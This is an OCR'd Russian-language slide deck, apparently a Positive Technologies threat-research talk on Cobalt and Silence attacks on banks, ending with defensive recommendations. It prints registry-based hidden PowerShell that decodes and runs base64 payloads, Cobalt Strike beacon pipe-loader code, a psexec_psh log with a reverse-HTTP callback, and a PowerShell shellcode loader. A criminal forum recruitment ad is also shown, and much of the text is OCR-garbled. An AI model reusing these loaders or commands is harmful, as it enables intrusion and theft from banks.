i [~ ATI Technologies 0 14.07.2009 5:36:54 +00...
[ [~ Classes 0 10.04,2017 11:15:55 +0...
i == Clients 1] 03.02.2012 4:26:31 +00...
i [T Hewlett-Packard 0 25.03.2013 7:24:15 +00...
I [~ Kyocera Mita o] 22,10,2013 11:39:19 +0...
[~ Microsoft 1] 09.06.2017 10:10:35 +0...
i [~ MozillaPlugins 0 10,05,2012 13:24:15 +0...
- |== ODBC 1] 14.07.2009 2:34:18 +00...
i [~ Polides o] 19.04.2017 5:05:00 +00...
=~ ReagisteredApplications [ 28.11.2012 3:14:17 +00...
i [~ TrendMicro 1] 10.04.2017 9:51:30 +00...
[T Wowe432Node 1] 13.05.2017 12:12:08 +0...
3 r Hi7 ’1 05.06.2017 20:29:35 +0...
b |4, Assodated deleted records 0
I+ | g Unassodated deleted records a

Values

(=]l E =

Drag a column header here to group by that column

Value name

¥

» (Unable to determine name) RegSz

& Valuetype Data Value sladk

JABzADOATGEIAHCALQBPAGIAAgEIA. .. 00-00

Type viewer | Slack viewer

Value name
Value type
Slack

Value

O | Key: | Do

Last write: |~ 03.06.2017 20:29:35 +00:00

1 of 1 values shown {100,0035)

Load complete

|[Unab|e to determine name)

|RegSz

|DU—DD

JABzADOATGEIAHCALQBPAGIABGBIAGMAJAAGAEKATWALAEDAZOBtAGEACOBSAFMAABYAGUAYQBACGAL A
ABbAEMAbwEUAHYAZQByAHQAX QASADOAR By AGEADQBCAGEACWBIADY ANABTAHQACCEPAGAAZADACT
ASAADAHMASQEEAEEAQQEBAEEAQQBBAEEAQQBMADE AW ABIADTALWBhAFMAQQBEACSATWAZAHCASWA2
AHGAVABKAHQAaWBWADGASgAWAGMACGBWAGU AbWBhAEDATWEEAHKAQWEAETARAB3AGKARWAWAGUA
QgBIAHOA=QBKAHAATAASAFgAVWEBAFQAdgB 2AGQAY oAy AHKAZ WEw AF0AZgAwAEW AbgBIAG4ADGBTAFY
ATAAZADKAMgBa ADIAWQBUAGY AUABEACIAaQA4AGOAbwEr AFEAKWBIAESACGBpAETAVOB 1AFgASGBVAEC
AR ABF AFTASWBLAFYATCA 1AHIASGE 1ADIADABKADUACGAZAHgAUQENADY AcwADAGMAR WEX AHKABGETA
HeAVwBIAHAAVWEMAFQALIWBGAGMAQQETAFKAWEWAEY ARWErACBASgA 2ADU AR WBPAEEALIQArADQACA
AyACSAWOBUAEQAaABTADKASQBEAECADABX AFMAY AA 4AFMALIQBr AHTAZQBr AESAbWEY AEY ANQBAEWA
ZABDAHMATWBIAHI AeQBpAGKAIWECAEWACQEr AFEAWABQAHAAYgEYAFEAUWBL ADQALWBKAHUAZABS
AGEAWGE 1AGYATQBSAEMAKWEIAHQAMWBOAFQAZWENAGEALIWBBAF AAM A 3AGSADOBSAFMAGEL AHEA
TAAVAGEAagEF AGEAYCBYAGAEABS AE0ADQBZAGEAMABXAHY AKWASAGEARWA ZAFUAdgBSAGQAJCBW A
HoAawBtAGwAdwBZAEDAVA A AFMANWEX AHY AWGEY AFKATGBCAEsAQWBEAE0AVWEVAGUANABPAEWARD
BnAE4AOQBwAHCASGBqAFgAMOBOADKACQEVAGY AWABaAFY AbgBP AGMAY QEUADIATABNAEKAMAAWAG
QAMWETAE4ASgAVAFTAegBoAFgATGBXAFY AcgAzAHAAEQADAFgAZQAVAGE AV gBY AGEAWGEXADQADWE]
AHIARWBTAHUALGQBr AEwAeQBxAFCAY wBUAFCACGEMAFMANGEYAHY ASABUAFTAWAASAFEASGEZAEY AbA
BIAFoAaAADAEGA=QBiAHGATQBEUAGOALIQBAESAVABZ AFgAbABBAE AQQBCAETADWESAFY AUABKAGMAT
wBUAHMALIQBADEALWAZAEQARQBQAEACWAIAGSARWBIAEGAUGBVAGE A= ABVAEY AawBQAGE AV GBGAF

Value:  (Unable te determine name) | Cellapse all hives

Hidden keys: 0 203



«Becgannosasy» ataka — Silence

Type viewer | Slack viewer

Yalue name {Unable to determine name)

Value type Regsz
C:Windows\System32\WindowsPowerShell\w 1. 0'powershell. exe -windowstyle hidden -« "Sval = (gp HELM:SOFTWAREY C44).' O44; &d = [System.Text.Encoding] ::Unicode. GetString

Value

{[System.convert]: :FromBase&4String{$vall); iex &d”

Raw value 43-00-3A-00-5C-00-57-00-69-00-6E-00-64-00-6F -00-7 7-00-73-00-5C-00-53-00-79-00-73-00-74-00-65-00-60-00-33-00-32-00-5C-00-57-00-69-00-6E-00-54-00-6F-00-77-00-73-00-50-00-6F-0
65-00-72-00-53-00-63-00-65-00-6C-00-6C-00-3C-00-75-00-31-00-2E-00-30-00-5C-00-70-00-6F -00-77-00-56 5-00-72-00-73-00-68-00-6 5-00-6C-00-6C-00-2E-00-65-00-75-00-0 5-00-20-00-2D
69-00-6E-00-54-00-6F-00-77-00-73-00-74-00-73-00-6C-00-5 5-00-20-00-68-00-593-00-64-00-64-00-5 5-00-6E-00-20-00-2D-00-63-00-20-00-22-00-24-00-75-00-6 1-00-6C-00-20-00-30-00-20-0




LOeobdryckaunsa Cobalt Strike Beacon

Stage 2 Base64 Stage 4 Base64 Stage 6 C2, UA, PIPE, URL

) — [ — [ — [ —

Y Y

Stage 1 Base64 Stage 3 GZIP

Stage 5 ShellCode




void *pb = VirtualAlloc(0, Ox7FFFF, 0x1000, 0x40);

HANDLE h = CreateNamedPipe(“\.\pipe\status_ 80807, PIPE_ACCESS DUPLEX,
PIPE_TYPE MESSAGE|PIPE_READMODE_MESSAGE, 1, 0x4B000, 0x4B000, 0, NULL);

int cb, nRead, o = 0;
If (ConnectNamedPipe(h, NULL)) {
ReadFile(h, &cb, 4, &nRead, NULL);
while (ReadFile(h, pb + 0, 0x2000, &nRead, NULL)) o += nRead,;
DisconnectNamedPipe(h);
CloseHandle(h);

if (0 == cb) jmp pb; // Nepenayva ynpaeneHns Ha Payload

}

ExitProcess();




MeToabl pa3BUTUA aTaku

Living Off The Land

icnonb3oBaHWe NerMTUMHbLIX YYeTHbIX 3anmceu

CKaHnpoBaHMe ceTu

NHCTPYMEHTbI CUCTEMHOIO aAMUHUCTPUPOBAHMS

TyHHenupoBaHue Tpadmka




MHCprMeHTbI CNCTeMHOINo agMmMHNUCTPNPOBaHNA

2017-06-07 12:01:15 d02d40d
LocalSystem

2017-05-15 15:19:04 PsKill
LocalSystem

2017-05-15 15:19:28 PsExec
LocalSystem

2017-05-24 16:57:23 PSEXESVC
LocalSystem

2017-05-24 16:59:00 AdobeDevice
LocalSystem

\127.0.0.1\C$\1bf296e.exe

%SystemR0o0ot%\PSKLLSVC.EXE
%SystemRoot%\PSEXESVC.EXE
%SystemRoot%\PSEXESVC.exe

C:\windows\system32\smmsrv.exe




Cobalt Strike n PowerShell

beacon> psexec_psh PC Llist
[*] Tasked beacon to run windows/fbeacon http/reverse http (192.168.37.136:1234) on PC via Service Control Manager (PSH)
[+] host called home, sent: 6246 bytes

[+] Impersonated PC\

+1 roacaived anitnint
vent 70458ervice Control Manager Started service cdf6af? on

General | Details

A service was installed in the system., -

Service Name: cdf6af2

Service File Name: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand
JABZADOATgBIAHCALQBPAGIAagBIAGMAJAAGAEKATWAUAEOAZQBLAGBAcgBSAFMAJABYAGUAYQBACGALABBAEMAbWBUAHYAZQBYAHQAXQAGAD0ARGBYAGEAbQBCAGEACWBIADYANABTAHQACGBpAGIAZWAOACIASAADAHMASQB
BAEEAQQBBAEEAQQBBAEEAQQBMADEAWABIAFcALWBhAFMAQgBUACBATWAZAHcASWBhAHgAWABKAHQACABaAHcAQgBKAESADQBSAFMACAAXAGcASgBpAGoAUQBBAGcAbQBUAEKAdgBRADQAQgBAGIAQwBXAEOAUABDAGMAYwB)
ADIAZgBhADcANWAVAE4AQgBTAHOAZABWAE4AOQBXAHUARGBZAGSAUWBIAESAKWASAGUAZQAVADMAVABrAHcACQBMADAAegBwAEOAMABOADIAQgBLAEGASWB4AFOARAA2AEEAUGBPAGUAYWBWAGS ASqBUAE4 AZABFAFUAeQByAH
YAbABRADKACQB4AGCANAASAFMAMABIAEGAMABXAEwA2ABVAEWAbgBZACSATQBKAGEAWQBFAE0AOABHAGCAVABLAGIANQBtAHOASAB2AGEAeABXADIAagBuAFcAKwB3AHYAWABFAEYAQWBUAHIATGBLAHYASQBrAEKASWBRAGWA
OQBxAHAAKwWBKAFoAYwWASAGKAbWASAEEATABZAEUAMABYAEgACABaAHMAUWB4AGMAJQBsAFMAJABCAEEAbgBoAEKADQA2AEGAT gBWAGKAWBjAHOATABSADUAIQAZAGYAVgAWAFAAZQBWAECANQBOADKACGBrADQAbABDAGCA
TABXAEwAagBtAGoAZwWBhAFKkAcgBuADUAWABSAGKAdgBYADAANABLADCANQBTAEMAMGBWACBASWBtAGMATAAZAE0AMQBMAHAAYQBZAHAAMgBTAEgASWBYAFOAVWBZAEIARABSAFMASABUAFgARgBoAGEATWBMAEOAaQBaAECA
OAA2AGsAcAB2ADcAeABoADYAcgBQAEwAbwByAHoAMwBPADIAbgBFAFAATgBBAFUAOAAXAEQASQBLAGOAYgBJADUAeQByAHUAdgBKAEYAagB4ADQAYWBIAEQAWGBVAFUAegB2AE0AOABrAFUAZwWBIAE0A2wWBIAEOAYQASADAALQBYA
HUASQBOAGUALwWBHAHKAbgBJAFMAMWBWAFUAOQBBADCcAYgALAFYASQBhACsACAAVAHOAWQB4AEUAaABtAHCACQBHAHAACWBPAHCAQgBNAGKAaABCAFUATgBWAHOAVABXADgACgAXAGWAUQASADKAMABMAEBAcwA4 AGBASABI
AFcAWQBXADEAQQA4ADKAeQBWAHCASWASADUATAAZAFKADQBOAFMAZgA4 AHMAcWBHAHUAUQBhADIAQwBPAGMAOQBXAGSAOQAXAD cACAAWAGQAOABUAGgAJABVAHOAYQBLAFIATgBRADKAYQBTAHYAWGAXAFAAMWB2AFUA
YgAzAFQAdQB6AGKAUgBKAHKACQBQADKAZgArAE0AQQAT ADAAKWBEADIATABCAFQAMWBGAE0AZgBOAEMAVgBCAEGASWBXAFKATQBsAFgAVQBpAEEALWBpAFMAcWBNAGOAZABUAHMAMWBoAEcAdwBSADYAJABKAHCASQBXADgA
NwAXAFgAQwBsAGOAbABBADAACABNAESAZgB3AEQAYgBNADGASABmMAGsAagAXAHUAVABLAEWAWABEAGUAYgB6ADKATgBUAGOANQBAAEIAOQBVAGUAQWBpAGSAZQBIAGWAQwWBKAHgAWGBXAEWASABIADIAVQAYAEYASQBGAEOATQ
AyAGUAeABuACsAUAA3ADYARwWBLAHGARABCAGsAbgAXAEKAOABIJAGYAABSADUATgBXAGBAegBqADKAWQBPAEgAbgBhAFoAZABRAHgATWA3AFMAVWBUAFUAWGB2AFQARWBKAEQAYwWBrAGEAdwBMAGKAbQBWAHEAZQBrAEYASgB
MAFKAVgBIAGoAUgBDAGQAUABXAGUANWBKAFoAbgAd AHKADABOAE0ABABFAEOAVWBPAEQANABBAHIAUWBBAGOAOQBPACSAVGBTAFoAeQBVAHEAVQAYAHYAUQAXADAAQQBNAE4AbQBYADQAQWB3AGIAVQBVAEKAZQBXAGQATQA
wAEBAQgB4AGYAagAvAFoAQQBWAEYAWQATAEQAbwBLAHMAMABRAHMA2ABKADYAMgBzAFKAbABMAEOASWBJAGsACQBSAEEAJABZAGUAbWBWAEMASwWBIAESADAArAGSAMWBKAFQAcwWBNAGWACWAZAEEAZwWBqACSATABACSAZwEL
AFEACABrADKAWABOAFIAZABJAFAANWBUAEEAdgBRAEQARAB3AE4 AeABRAGKAMgBFAGUAbwBaAEoAVgBHAGEAegBRAHKACWBGAGsAegBsAEUARGASAFUAVGBNAHEACABoAHOANQBGAGSAZWBhAFEACWATAGCAWGBNAEKAQWAXAESA
RwBRAGUATWBUADCATgA4AEQAUGBNACSAWGBWAEQAYgBKAEQAYQBJAHUAVQBNAGMAVgB3ACSARABZAGCAZgBXAFEACABSAFEAYWBIADKA2QBoAFIAUAAYAE0AMgBzAGQARQBTAGIASQBpAHCAJQBVAEKAMABVAGIAUWBFAEEAQQ
BtAEYAegBLAHIARABKAGsAdgBvAFEAYQBwADIAVWBIAFIAOQBSACBAVGArADcANABrAGYAYQBKAGIAMQBhAGUACABKADCAVQADAEYAVWBIAFYAZwWADAHCAUWBKAHEAYQAWAGS AawA3AHCALWBpAHUAWQBNAFgAUWATAEIATgBnAE(
AWAA3AGCAVGBIAE4ARABYAGMAJABRAHKAUABFAGYANWBMAFgALWBIAFcAZWBoACsAawA2AGIASABPADYAUwWAXAFoAcwBYAGOARABYADQATWBmMAEEAKwWBZADEAQgBTADEATgArAFIAagA2ADcARWBSADcAMQBGAFYAbWBGAGMAM
wBiAGgARABIAESAVAB2AHIAcABVAHMA cwBtADKAMABZAHIAVABIAFEAMwBIAE4AQwA4 AHCAYQBSAGEAdgBI ACsAdwBZAHgAZABVACSAOABSAGSAUQBXAGMATwWBSAE4 AVwBKAEIAeABFAGUAbwArADKAVWA3SAGYAZABIAFEAYQBWAF
kAaQBvAG4ANABIAGYASWALAGMAYQADAGCARQBXAGWAOABSADIACABZAEMAYQAWAEYAZABHAHYARQBIAGOANGBIAEWAZAB2AHcAeABWAHEANgAXADIANWBBAGA AeQBGAE0ACgASAHQAVgBmMAHYATAAWAGEAVQB4AEQAZgBGAEC
AdgBtAHKACwWA3AECARQBJAHOATWB2AHKAbABPAEQANGBGAFMAZQBVAEKACWBNAGWARAAVAECAdWBMAHCAWQBOAHKANGAZAGSAOAAJAFAACgBaAGOAUgBWAHAAYgBZAHMAYgBUAGIATAArAGIANWBWAGYAcgBVAFAATWAXAFU
AawBKAHAAZAB2AHAAVGBVADMAQwBUAGoAVQBDAHEAYQBEAHCAQgBrAE0AdQA2ADIAKwBpAGMACcgBOAFIALWBTAGOAYQBaAEQATgAWAHUAMQB2AFMAYQBuAGoARABQAGKAOQAWAHOAWABMACSANWBOAEQANQBJAEYAeQArA
FqAbwA2AHUAaQBVAGSATQBOAFoAbwBaAEsAdwBLACBALWBXAEGAaqBQAFUAKWBYAHKAVABQAFKAWGBIADAAYWBXADAAeqBVAHQAagBPAEYANGBtADGARWBGADAAMQBXAGCAOQBEADQAABNAHEARWBUADMAYWBIAGQANGBDAF ™

m




TyHHenupoBaHue Tpadmka

Beacon SMB peer-to-peer

‘ SOCKS Proxy

»,
SYSTEM *
TLLING-POWER 2948

Wl'

JOSHDEV @ 1728
s DISCOMNEGTED Ly

SYSTEN ¢

\/ by
.~ 'y
. A /@ SYSTEM *
T S 2.0 STEM * JOSHDEY @ 120
FILES m JER @ 91DISCONMECTED




PaclundpoBaHHbIN Tpadumk — Silence Trojan Backdoor

~POSITIVE TECHNOLOGIES

C:\Temp>net view

Nms cepeepa

3ameTkm

\\BIS217 bis217

\BIS777 bis777

\\MSKAHO-01

\\MSKAHO-02

\MSKBACKUP

\\MSKBACKUP1

\\MSKBACKUP2

\\MSKCLB

\\MSKCONTACT

\\MSKCRD-1

\\MSKCRD-3

\\MSKCRD-5

\\MSKRMKDC1

MSKBACKUP

C:\Iintel>dir

Tom B ycTponctee C He MMeeT METKM.

CepwiiHbin Homep Toma: F483-CC3F

Copepxunmoe nankm C:\intel

11.05.2017 09:29

11.05.2017 09:29

11.05.2017 09:29

02.09.2014 09:09

11.05.2017 13:56

02.09.2014 09:11

2 ¢annos

<DIR>
<DIR>
202 752 cons.exe
<DIR> ExtremeGraphics
24 gxftcp.dat
<DIR> Logs

202 776 6ant

4 nanok 162 482 122 752 6ant cBobogHO

C:\Temp>start x64.exe

C:\Temp>del netsrvc32.exe

C:\Temp>del run.exe

C:\Temp>del m64.exe

He ypnaetca Hantu C:\Temp\m64.exe




PekomeHaauunm

MOHUTOPUHI aHOManMn B ceTeBoM Tpaduke

CobntogeHne NpuHLMNa MUHUMaIbHbIX NPUBUNETNNA

BkntoueHne makcumanbHoro ypoBHss UAC Ha paboymx cTaHUmsAx

MOHUTOPMHI aHOMarbHOW aKTUBHOCTU YYETHbIX 3anucen

CermeHTauus rnokanbHom ceTn

AyanTt cucTeMHbIX XypHanoB Windows Ha paboumnx ctaHumnsix

~OSITIVE TECHNOLOGIES




Ob6Lwasa cxema cermMmeHTaumm cetu

Rle_I suomu ?cnes ATM
Segment Segment

Financial
Segment




[lpnmep ayouta cucTteMHbIX XypHanos Windows POSITIVE TECHNOLOGIES

owerSheII (Microsoft-Windows-PowerShell) x

General | Details

Creating Scriptblock text (1 of 21):
Set-StrictMode -Version 2

function func_get_proc_address {
Param (Svar_module, Svar_procedure)

Svar_unsafe_native_methods = ([AppDomain}:CurrentDomain.GetAssemblies() | Where-Object { S_.GlobalAssemblyCache -And $_.Location.Split("\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods’)

return Svar_unsafe_native_methods.GetMethod('GetProcAddress').Invoke(Snull, @([System.Runtime InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
(Svar_unsafe_native_methods.GetMethod('GetModuleHandle")).Invoke(Snull, @(Svar_module)))), Svar_procedure))
}

function func_get_delegate_type {|
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] Svar_parameters,
[Parameter(Position = 1)] [Type] Svar_return_type = [Void]
)

Svar_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule
(InMemoryModule’, $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

Svar_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, Svar_parameters).SetimplementationFlags('Runtime, Managed’)

Svar_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual’, Svar_return_type, Svar_parameters).SetimplementationFlags('Runtime, Managed’)

return Svar_type_builder.CreateType()
}

If ([IntPtr]::size -eq 8) {

[Byte[]]Svar_code = [System.Convert)::FromBase64String
("TVpBUIVIieVigewgAAAASIOd6v///0iBw/hUAQD/00UwOm)+ GgEAAAAWY/QQbjwta)WaAUAAABa/IMAAAEAAASfugd AtANNIbgBTMOhVGhpcyBwemIncmFIGNhbmSvd CBiZSBydWd gaWd gRESTIGIvZGUUDQOKJIAAAAAAAAACaPAIO31zMXd
czF3eXMxdQPwLXd9czFOvmgNdIFzMXS+aAll YXMxdLSoBXdRczF24shSdRIzMXdckX13RXMxd31zNXQ1 czF24 sg)d/FzMXbiyBI3fXMxdulIFXd9czF24 sgBd31z2MXVIpY2jeXMxd AAAAAAAAAAAAAAAAAAAAAFBFAABKhg Y ACHIWAAAAAAAAAAAS
AAIIASCCWAAIAIAAEOCAAAAAAAWYgEAABAAAAAAAIABAAAAABAAAAACAAAFAAIAAAAAAAUAAGAAAAAAABAFAAAEAAAAAAAAAGBIAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAAAAIWMAUGAAAL
yCAWCgAAAAAPAEAOABAAAADAQAWBDAAAAAAAAAAAAAAAAFABAGAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAIBOAWBWAAAAAALAAAAAAAAAACAIAQAYAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAC
SO7Xh0AAAAKIFCAAAQAAAAIATAAAQAAAAAAAAAAAAAAAAAACAAAGAINICMRhAGFAAFI SAAAANAIAAPAAAACMANAAAAAAAAAAAAAAAARAAARAI mRhdAGFAAANTAFAAKADAAANAAAARAMAAAAAAAAAAAAAAAAAQAAAWC SWZGFD

Moppo6Hee: fireeye.com/blog/threat-research/2016/02/greater _visibilityt.html



https://fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

BbiBOO cpeacTB

ptsecurity.ru

~OSITIVE TECHNOLOGIES




CnocoObl BbiBOAA CpeacTs

Jlornyeckme atakm Ha baHKomMaThbl

[TlogmeHa pekBM3nUTOB

Kpa>|<a KapTOYHbIX AaHHbIX

NPEANATAKD PABOTY. Ecnu y Bac ecTb penyTauma Ha CMeXHbIX ¢dopymax / Bbl rOTOBLI BHECTW AENO3UT / NpefocTaBnTb CEOM JOKYMEHThI - TOTOB paccMoTpeTh Balluy kaHaAMAaTypy.
AKTyanbHbIE HaNpaBAeHWs aTM, TEPMWHANbI.

¥cnewHo pabotaem B ykp, BeHrpun, 6onrapuu.

YmeeTe 4T0- TO ewé ? Hanuwute ob stom. Konndectso Tem Ana pabotel yamBKT nioboro.

UEPEITHE!H CBHA3b 4Yepes JIC, ocTaBnsiiTe CBOW KOHTAaKThI, Fe0 M onvucaHue NMPU4YKHbI, NO KDTDPOﬁ Bam moxHO BEPWTE.

md5

md5
NEW USER

15 aex 2017
27
0




BbiBog cpeacts yepes GaHKomaTbl

S Py Py
b

XFS API C ) C )

\ J \ J

ATM Infected Hosts

MoapobHee: https://www.ptsecurity.com/ru-ru/research/webinar/285814/
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ATM application control

ATM monitoring

ATM reverse connect

Vulnerability testing and secure software delivery




OBOSIOLUNA TEXHUK NMPOHUKHOBEHNA

QkcnnyaTtaumsi HOBbIX YSI3BMMOCTEMN

CoBeplLLeHCTBOBaHNE METOAOB 3aTpyaHeHus aHanua3a BINO n paccnegoBaHust MHUWMAEHTOB

[MpogBmkeHne B CETU npoxoauT ObIcTpee, ecnu  CylecTByloT 6pewn B CUCTEME
NHdopmaumoHHon 6esonacHoCTU PMHAHCOBON OpraHnu3aLumn

OBOSOLMA METOJOB 3aKperJyieHnAa B CeTn U MaCKMPOBKa BpeD,OHOCHOIZ AdKTUBHOCTWU




Cobalt Snatch: ptsecurity.com/upload/corporate/ru-ru/analytics/Cobalt-Snatch-rus.pdf

Cobalt strikes back: HoBble aTakm Ha (puHaHCOBbIE OpraHM3aLumn:

ptsecurity.com/upload/corporate/ru-ru/analytics/Cobalt-201 7-rus.pdf

AKTyarnbHble knbepyrposbl — 2017: TpeHAbl 1 NPOrHO3bI:

ptsecurity.com/upload/corporate/ru-ru/analytics/Cybersecurity-threatscape-2017-rus.pdf
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https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/Cobalt-Snatch-rus.pdf
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/Cobalt-2017-rus.pdf
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/Cybersecurity-threatscape-2017-rus.pdf
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